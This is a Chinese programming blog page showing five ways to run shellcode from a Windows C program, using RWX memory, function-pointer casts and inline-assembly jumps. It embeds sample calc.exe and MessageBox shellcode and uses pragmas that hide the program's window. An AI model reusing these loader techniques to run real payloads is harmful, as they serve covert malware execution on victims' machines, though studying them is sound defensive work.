C语言执行shellcode的五种方法
//C语言执行shellcode的五种方法 #include <windows.h>
#include <stdio.h> //data段可读写
#pragma comment(linker, "/section:.data,RWE")
//不显示窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO") //一段打开Windows计算器(calc.exe)的shellcode
unsigned char shellcode_calc[] =
"\xb8\x82\x0a\x8d\x38\xd9\xc6\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x23"
"\x31\x42\x12\x83\xea\xfc\x03\xc0\x04\x6f\xcd\x38\xf0\x2b\x2e\xc0"
"\x01\x3f\x6b\xfc\x8a\x43\x71\x84\x8d\x54\xf2\x3b\x96\x21\x5a\xe3"
"\xa7\xde\x2c\x68\x93\xab\xae\x80\xed\x6b\x29\xf0\x8a\xac\x3e\x0f"
"\x52\xe6\xb2\x0e\x96\x1c\x38\x2b\x42\xc7\xc5\x3e\x8f\x8c\x99\xe4"
"\x4e\x78\x43\x6f\x5c\x35\x07\x30\x41\xc8\xfc\x45\x65\x41\x03\xb2"
"\x1f\x09\x20\x40\xe3\x83\xe8\x2c\x68\xa3\xd8\x29\xae\x5c\x15\xba"
"\x6f\x91\xae\xcc\x73\x04\x3b\x44\x84\xbd\x35\x1f\x14\xf1\x46\x1f"
"\x15\x79\x2e\x23\x4a\x4c\x59\x3b\x22\x27\x5d\x38\x0a\x4c\xce\x56"
"\xf5\x6b\x0c\xd5\x61\x14\x2f\x93\x7c\x73\x2f\x44\xe3\x1a\xa3\xe9"
"\xe4"; unsigned char shellcode[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56"
"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52"
"\xe8\x61\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42"
"\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58"
"\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20\x68\x6f"
"\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89"
"\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"; typedef void (__stdcall *CODE) (); //http://rshell.blog.163.com/blog/static/41619170201110302937361/ //第一种方法
void RunShellCode_1()
{ PVOID p = NULL; if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK); if (!(memcpy(p, shellcode, sizeof(shellcode)))) MessageBoxA(NULL, "写内存失败", "提醒", MB_OK); CODE code =(CODE)p; code(); } //第二种方法
void RunShellCode_2()
{ ((void(*)(void))&shellcode)();
} //第三种方法
void RunShellCode_3()
{ __asm { lea eax, shellcode; jmp eax; }
} //第四种方法
void RunShellCode_4()
{ __asm { mov eax, offset shellcode; jmp eax; }
} //第五种方法
void RunShellCode_5()
{ __asm { mov eax, offset shellcode; _emit 0xFF; _emit 0xE0; }
} void main()
{ //RunShellCode_1(); //RunShellCode_2(); //RunShellCode_3(); //RunShellCode_4(); RunShellCode_5();
}
C语言执行shellcode的五种方法相关推荐
- c语言调用linux脚本,C语言执行shellcode的五种方法
//C语言执行shellcode的五种方法 #include #include //data段可读写 #pragma comment(linker, "/section:.data,RWE& ...
- asp 执行linux脚本,Shell.Application执行命令的五种方法小结
当初老马写这个版本时,我测试过简繁两个2003版本的,当是是好用的.我猜测很可能与2003打了ms06014补丁有关.kyo在冰点论坛提出了解决方法,我今天下午研究了一下这个组件,发现它有5种方法可以 ...
- C语言编写1000元五种方法存五年的利息
#include<stdio.h> #include<math.h> int main() { double r1,r2,r3,r4,r5,p1,p2,p3,p4,p5 ...
- Python语言学习:基于python五种方法实现使用某函数名【func_01】的字符串格式('func_01')来调用该函数【func_01】执行功能
Python语言学习:基于python五种方法实现使用某函数名[func_01]的字符串格式('func_01')来调用该函数[func_01]执行功能 目录 问题提出 代码五种设计思路 T1方法:e ...
- python函数可以提高代码执行速度吗_Python代码运行速度慢?这五种方法很管用
对于Python很多人还是比较了解的,虽然说Python有很多优势但同样具有劣势,Python最大的劣势就是运行效率慢,那么如何提高Python代码运行速度呢?这五种方法很管用. 1.PyPy:在选择 ...
- 【224期】Java 字符串拼接五种方法的性能比较分析,从执行100次到90万次?
点击上方"Java精选",选择"设为星标" 别问别人为什么,多问自己凭什么! 下方有惊喜,留言必回,有问必答! 每天 08:15 更新文章,每天进步一点点... ...
- 用函数统计各分数段人数c语言,如何使用Excel函数统计各或分数段的人数(五种方法).doc...
Excel教程:妙用Excel五个函数统计学生期末考试分数段 考试结束,老师们都要对学生的考试成绩进行分析.各分数段人数的统计是其中一项必做的工作.在Excel中,怎样快速准确地统计分数段人数呢?以下 ...
- 用函数统计各分数段人数c语言,如何使用Excel函数统计各分数段的人数(五种方法)...
如何使用Excel函数统计各分数段的人数(五种方法),对老师很有用哦. Excel教程:妙用Excel五个函数统计学生期末考试分数段 考试结束,老师们都要对学生的考试成绩进行分析.各分数段人数的统计是 ...
- 在生产环境下处理EFCore数据库迁移的五种方法
在生产环境下处理EFCore数据库迁移的五种方法 原文链接:https://www.thereformedprogrammer.net/handling-entity-framework-core-d ...
最新文章
- java关键字 面试_java面试 关键字
- 计算机术语所见即所得,计算机应用基础作业四(16页)-原创力文档
- mybatis 原理_Mybatis工作流程及其原理与解析
- 邮箱通知php,PHPMailer 发送邮件(含详细介绍及使用方法说明)
- 启动mysql失败:net start mysql服务名无效
- 9203-1204-抄写
- python 文本相似度现状_python文本相似度分析
- jq使用教程03_JQData说明书概要
- 安装问题的审计(产生漏洞,抓包)
- mfsort shell语法_8.10 shell特殊符号cut命令 8.11 sort_wc_uniq命令 8.12 tee_tr_split命令 8.13 shell特殊符号下...
- Sogou input method on Ubuntu
- 《码出高效》个人总结1.1 二进制,按位运算
- .chm文件是什么怎么打开?
- 如何快速提升自己的Java 技术?
- 5G 室内融合定位白皮书
- jsp视频播放代码 avi
- 直播软件搭建直播服务架构
- 【每日面试】2021政采云Java一面
- Landsat系列数据级别详解
- 其实我不怕过光棍节,我只是怕你不过光棍节~
热门文章
- 类加载器-双亲委派-源码分析2
- request获得请求行的内容
- 通过docker的方式进行RocketMQ的安装
- 百万数据报表导出:原理分析与总结
- 微服务 Docker和DevOps
- SpringBoot_配置-自动配置原理
- 总结apply和call方法的使用 bind方法 bind方法的使用 函数中的几个成员
- FastDFS_install_document_detail
- java 怎么清除画布_HTML5 Canvas 清除画布
- c cuda 指定gpu_《CUDA C编程权威指南》——1.3 用GPU输出Hello World-阿里云开发者社区...